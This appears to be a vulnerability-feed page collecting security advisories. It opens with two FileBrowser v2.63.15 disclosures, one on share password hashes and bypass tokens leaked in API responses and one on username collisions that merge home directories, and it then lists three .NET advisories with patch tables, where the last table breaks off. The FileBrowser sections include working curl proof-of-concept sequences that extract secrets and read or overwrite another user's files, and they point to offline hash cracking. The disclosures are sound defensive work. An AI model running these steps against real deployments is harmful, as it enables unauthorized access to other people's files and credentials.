When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for **every** user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.
## Details
**1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`)**
```go
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed
// Token is only set when PasswordHash is set; it bypasses the password.
Token string `json:"token,omitempty"` // line 19, bypass token exposed
}
```
`omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.
**2. The share handlers return the full struct through unfiltered `json.Marshal`**
`sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client.
**3. Administrators receive every user's secrets (`http/share.go:36`)**
```go
s, err = d.store.Share.All() // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s) // including each share's password_hash and token
```
An admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users.
## PoC
Tested against `filebrowser/filebrowser:v2.63.15`.
**Attack Vector: read the bcrypt hash and bypass token from the share API:**
```bash
#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090
#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
-d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'
#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"
```
The returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password.
Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):
Both the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`:
```http
POST /api/share/user1/readme.txt -> 200
GET /api/shares -> 200
{
"hash": "yy9159Cs",
"path": "/user1/readme.txt",
"userID": 1,
"expire": 1781758642,
"password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
"token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}
```
The hash cracks offline to the known password (`bcrypt.checkpw(b"ShareSecret123!", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password.
## Impact
- **Offline password cracking:** the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
- **Password-bypass token leak:** the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.
- **Admin sees everyone's secrets:** `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.
- **Credential reuse risk:** users who reuse an account or service password as a share password expose that password to offline recovery.
## Recommended Fix
Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:
```go
// share/share.go
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"-" storm:"index"` // never serialize
Token string `json:"-"` // never serialize in list responses
}
```
`PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default. |
| Risiko 7.5 / 10 CVE-2026-62685 |
vor 5 Tag(en) |
| ## Summary
FileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user's scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\-.` with `-`.
The problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one.
This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering `alice/` or `al..ice` to land in `alice`'s home) and gain full read **and** write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.
## Details
**1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)**
```go
// MakeUserDir, when CreateUserDir is true:
username = cleanUsername(username)
// ...
userScope = path.Join(s.UserHomeBasePath, username) // line 30
userScope = path.Join("/", userScope) // line 33
```
The user's scope is `path.Join(UserHomeBasePath, cleanUsername(username))`.
**2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)**
```go
func cleanUsername(s string) string {
s = strings.Trim(s, " ")
s = strings.ReplaceAll(s, "..", "") // line 45, deletes ".."
s = invalidFilenameChars.ReplaceAllString(s, "-") // line 48, any non [0-9A-Za-z@_.-] -> "-"
s = dashes.ReplaceAllString(s, "-") // line 51, collapse repeated "-"
return s
}
```
Because several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name.
**3. No scope-uniqueness check exists**
Username uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant's home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent).
## PoC
Tested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12).
**Attack Vector: register a colliding username and read/overwrite another user's files:**
```bash
#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090; PW='CollidePw12345!'
#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
| python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
| curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-
#3. Register the victim teamone-x
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}"
#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}"
#5. Log in as both accounts (TA = victim, TB = attacker)
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}")
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}")
#6. Victim A writes a private file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null
#7. Attacker B reads A's file (both resolve to the single shared home directory)
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"
#8. Attacker B overwrites the file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null
#9. Victim A reads back the tampered content
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA"
```
Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):
```http
GET /api/raw/secretA.txt (as user B, attacker) -> 200
A-private-CONFIDENTIAL-data
POST /api/resources/secretA.txt?override=true (as user B) -> 200 (empty body)
GET /api/raw/secretA.txt (as user A, victim, reads back) -> 200
TAMPERED-BY-B
GET /api/users (as admin, both accounts share one scope) -> 200
[ ... {"username":"teamone-x","scope":"/users/teamone-x"}, {"username":"teamone/x","scope":"/users/teamone-x"} ... ]
```
On disk there is a single shared home directory `/srv/users/teamone-x`.
## Impact
- **Cross-user read:** an attacker registering a colliding username can read every file in a victim's home directory.
- **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content.
- **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.
- **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`'s directory), or collisions can occur accidentally between legitimate users.
- **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`.
## Recommended Fix
Make the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:
```go
// settings/dir.go, base the home dir on a collision-free identifier:
userScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))
```
Alternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope (`store.Users.GetByScope(scope)` ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy. |
| Risiko 7.5 / 10 CVE-2026-47304 |
vor 6 Tag(en) |
| ## Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET XML Encryption (System.Security.Cryptography.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A security feature bypass vulnerability exists in the XML encryption implementation (EncryptedXml) in .NET 8, .NET 9, and .NET 10. An attacker could exploit this vulnerability to bypass encryption protections and access encrypted data.
## Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD**
## CVSS Details
- **Version:** 3.1
- **Severity:** High
- **Score:** 8.1
- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C`
- **Weakness:** CWE-347 (Improper Verification of Cryptographic Signature)
## Affected Platforms
- **Platforms:** All
- **Architectures:** All
## Affected Packages
The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below
### .NET 10.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 10.0.0, <= 10.0.9 | 10.0.10
### .NET 9.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 9.0.0, <= 9.0.17 | 9.0.18
### .NET 8.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 8.0.0, <= 8.0.28 | 8.0.29
## Advisory FAQ
### How do I know if I am affected?
If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability.
### How do I fix the issue?
To update the System.Security.Cryptography.Xml NuGet package, use one of the following methods:
NuGet Package Manager UI in Visual Studio:
- Open your project in Visual Studio.
- Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages".
- In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources.
- Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.
- Click the "Update" button.
Using the NuGet Package Manager Console in Visual Studio:
- Open your project in Visual Studio.
- Navigate to "Tools > NuGet Package Manager > Package Manager Console".
- To update a specific package to its latest version, use the following Update-Package command:
```Update-Package -Id System.Security.Cryptography.Xml```
Using the .NET CLI (Command Line Interface):
- Open a terminal or command prompt in your project's directory.
- To update a specific package to its latest version, use the following add package command:
```dotnet add package System.Security.Cryptography.Xml```
Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability.
## Other Information
### Reporting Security Issues
If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).
Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
### Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
### Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
### External Links
[CVE-2026-47304]( https://www.cve.org/CVERecord?id=CVE-2026-47304)
### Acknowledgements
Levi Broderick with Microsoft
### Revisions
V1.0 (July 14, 2026): Advisory published. |
| Risiko 7.5 / 10 CVE-2026-47302 |
vor 6 Tag(en) |
| ## Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET XML processing (System.Security.Cryptography.Xml, System.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A denial of service vulnerability exists in .NET 8, .NET 9, and .NET 10 related to XML processing. An attacker can exploit XML encryption handling in XML parsing to cause excessive resource consumption or application crash.
## Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD**
## CVSS Details
- **Version:** 3.1
- **Severity:** High
- **Score:** 7.5
- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- **Weakness:** CWE-770 (Allocation of Resources Without Limits or Throttling)
## Affected Platforms
- **Platforms:** All
- **Architectures:** All
## Affected Packages
The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below
### .NET 10.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 10.0.0, <= 10.0.9 | 10.0.10
### .NET 9.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 9.0.0, <= 9.0.17 | 9.0.18
### .NET 8.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.win-x86) | >= 8.0.0, <= 8.0.28 | 8.0.29
## Advisory FAQ
### How do I know if I am affected?
If using a package listed in [affected packages](#affected-packages), you're exposed to the vulnerability.
### How do I fix the issue?
To update the System.Security.Cryptography.Xml NuGet package, use one of the following methods:
NuGet Package Manager UI in Visual Studio:
- Open your project in Visual Studio.
- Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages".
- In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources.
- Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.
- Click the "Update" button.
Using the NuGet Package Manager Console in Visual Studio:
- Open your project in Visual Studio.
- Navigate to "Tools > NuGet Package Manager > Package Manager Console".
- To update a specific package to its latest version, use the following Update-Package command:
```Update-Package -Id System.Security.Cryptography.Xml```
Using the .NET CLI (Command Line Interface):
- Open a terminal or command prompt in your project's directory.
- To update a specific package to its latest version, use the following add package command:
```dotnet add package System.Security.Cryptography.Xml```
Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability.
## Other Information
### Reporting Security Issues
If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).
Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
### Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
### Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
### External Links
[CVE-2026-47302]( https://www.cve.org/CVERecord?id=CVE-2026-47302)
### Acknowledgements
Levi Broderick with Microsoft
### Revisions
V1.0 (July 14, 2026): Advisory published. |
| Risiko 7.5 / 10 CVE-2026-57108 |
vor 6 Tag(en) |
| ## Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in the .NET runtime cryptography layer (CryptoNative_GetX509NameInfo). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A denial of service vulnerability exists in the .NET 8, .NET 9, and .NET 10 runtime when parsing X.509 certificates. A specially crafted certificate could allow an attacker to cause a denial of service.
## Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/**TBD**
## CVSS Details
- **Version:** 3.1
- **Severity:** High
- **Score:** 7.5
- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
- **Weakness:** CWE-843 (Access of Resource Using Incompatible Type ('Type Confusion'))
## Affected Platforms
- **Platforms:** Linux, macOS
- **Architectures:** All
## Affected Packages
The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below
### .NET 10.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 10.0.0, <= 10.0.9 | 10.0.10
[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 10.0.0, <= 10.0.9 | 10.0.10
### .NET 9.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-arm64) | >= 9.0.0, <= 9.0.17 | 9.0.18
[Microsoft.NetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.osx-x64) | >= 9.0.0, <= 9.0.17 | 9.0.18
### .NET 8.0
Package name | Affected version | Patched version
------------ | ---------------- | -------------------------
[Microsoft.NetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0, <= 8.0.28 | 8.0.29
[Microsoft.NetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.NetCore.App.Runtime.linux-musl-x64) | >= 8.0.0, <= 8.0.28 | 8.0.29
